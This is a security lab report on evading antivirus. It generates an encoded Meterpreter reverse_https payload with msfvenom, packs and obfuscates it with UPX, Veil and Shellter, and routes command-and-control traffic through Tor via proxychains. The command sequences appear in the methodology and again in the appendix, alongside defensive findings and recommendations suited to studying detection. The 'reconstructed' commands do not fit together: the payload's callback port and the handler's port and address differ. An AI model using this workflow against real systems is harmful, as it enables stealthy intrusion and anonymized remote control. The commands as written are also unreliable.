# Task 4 — Advanced Evasion Lab (Full Report)

Author: MALEPATI SAMSKAR REDDY

Date: September 19, 2025

Attacker: Kali Linux — 192.168.17.128

Target: Windows VM — 192.168.17.129

---

## 1. Objective

Test and validate advanced evasion techniques: generate and obfuscate payloads to bypass signature-based defenses, and route C2 traffic through anonymizing networks to assess detection and egress controls.

## 2. Lab Environment & Tools

Environment:

- Attacker host: Kali Linux (isolated lab)

- Target host: Windows VM (with EDR/AV installed for testing)

Tools:

- msfvenom (Metasploit payload generator)

- Veil-Evasion / Shellter (payload obfuscation)

- proxychains + Tor (anonymized routing)

- UPX / custom packers (binary packing)

- Network tools: Burp, tcpdump, Wireshark for traffic analysis

## 3. Step-by-Step Methodology (with reconstructed commands)

The following are reconstructed commands and workflows commonly used in the lab for payload obfuscation and egress routing:

1. A. Generate a payload with msfvenom

* Example:

# Generate a reverse\_https Meterpreter payload and encode  
msfvenom -p windows/meterpreter/reverse\_https LHOST=192.168.17.128 LPORT=443 -f exe -o payload.exe -e x86/shikata\_ga\_nai -i 3

1. B. Obfuscate/pack the binary

* Examples:

# Pack with UPX  
upx --best payload.exe -o payload\_packed.exe  
  
# Use Veil or Shellter to wrap and obfuscate  
veil-evasion -p windows/meterpreter -o veil\_payload.exe  
# Or use Shellter (dynamic PE mutation)  
shellter -a -b -f payload.exe

1. C. Test payload against AV and EDR in lab

* Actions:

# Hash the file and scan with local AV  
sha256sum payload\_packed.exe  
# Upload to lab AV or run local scans; observe detection labels and adjust encoders/iterations

1. D. Route C2 through Tor using proxychains

* Example proxychains configuration and execution:

# Ensure Tor is running (tor service start)  
proxychains msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse\_https; set LHOST 127.0.0.1; set LPORT 4444; run"  
# Or run payload to connect out via proxychains  
proxychains ./payload\_packed.exe

## 4. Observed Evidence

- Screenshot From 2025-09-17 21-19-42.png

- Screenshot From 2025-09-17 21-23-12.png

- Screenshot From 2025-09-17 21-29-05.png

- Screenshot From 2025-09-17 21-30-06.png

- Screenshot From 2025-09-17 22-01-07.png

## 5. Test Results & Timeline (reconstructed)

- T0: Generated initial Meterpreter reverse\_https payload with msfvenom and baseline encoder iterations.  
- T1: Applied binary packing/obfuscation (UPX / Veil) and re-tested against lab AV; detection reduced in iterative tests.  
- T2: Established msf multi/handler locally and validated callback in isolated lab.  
- T3: Routed handler/exfil via Tor using proxychains to simulate anonymized egress; beaconing observable but attribution more difficult.  
- T4: Documented AV labels, network destination patterns, and times for the final report.

## 6. Findings & Risk Assessment

- Payload obfuscation and packing can significantly reduce signature-based AV detections in lab conditions; behavioral EDR is still effective when configured properly.

- Routing C2 through Tor hides origin and complicates standard network attribution; egress filtering and Tor-blocking are effective mitigations.

- Risk Rating: Medium-High — successful evasion in lab does not guarantee success in production but exposes detection gaps.

## 7. MITRE ATT&CK Mapping

- T1027 — Obfuscated Files or Information (payload encoding/packing)

- T1071 — Application Layer Protocol (beaconing over HTTPS via anonymized route)

- T1566.002 — Spearphishing Attachment (if payload delivered as attachment)

## 8. Recommendations (technical & operational)

Technical controls:

- Use behavioral EDR that monitors process behavior, parent-child chains, reflective loading, and in-memory execution.

- Implement strict egress filtering and block known Tor exit nodes where appropriate for your environment.

- Monitor for unusual TLS fingerprints, certificate anomalies, and periodic beacon patterns; implement TLS inspection for suspected hosts.

- Leverage sandbox detonation with behavior analysis rather than only signature scanning.

Operational controls:

- Regularly test AV/EDR efficacy with red-team obfuscation techniques and adjust detection rules.

- Maintain incident response playbooks for suspected anonymized C2 traffic.

- Train SOC analysts to correlate endpoint behavior with network telemetry and threat intelligence.

## 9. Forensic Artifacts to Collect

- Binary samples (original and obfuscated) with hashes and sample metadata.

- AV/EDR detection logs and telemetry during payload execution.

- Network captures (PCAP) showing Tor/Proxychains traffic and C2 attempts.

- Memory captures to detect in-memory injectors or reflective loaders.

## 10. 50-Word Summary

Generated obfuscated Meterpreter payloads with msfvenom and Veil, packed with UPX, and routed C2 traffic via Tor using proxychains. In lab conditions obfuscation reduced signature detection; behavioral EDR and egress controls remain effective mitigations. Recommend regular obfuscation testing and egress monitoring.

## 11. Appendix: Reconstructed Commands & Examples

# msfvenom obfuscation example  
msfvenom -p windows/meterpreter/reverse\_https LHOST=192.168.17.128 LPORT=443 -f exe -o payload.exe -e x86/shikata\_ga\_nai -i 3  
upx --best payload.exe -o payload\_packed.exe  
# Veil / Shellter usage  
veil-evasion -p windows/meterpreter -o veil\_payload.exe  
shellter -a -b -f payload.exe  
# Tor / proxychains routing  
service tor start  
proxychains msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse\_https; set LHOST 127.0.0.1; set LPORT 4444; run"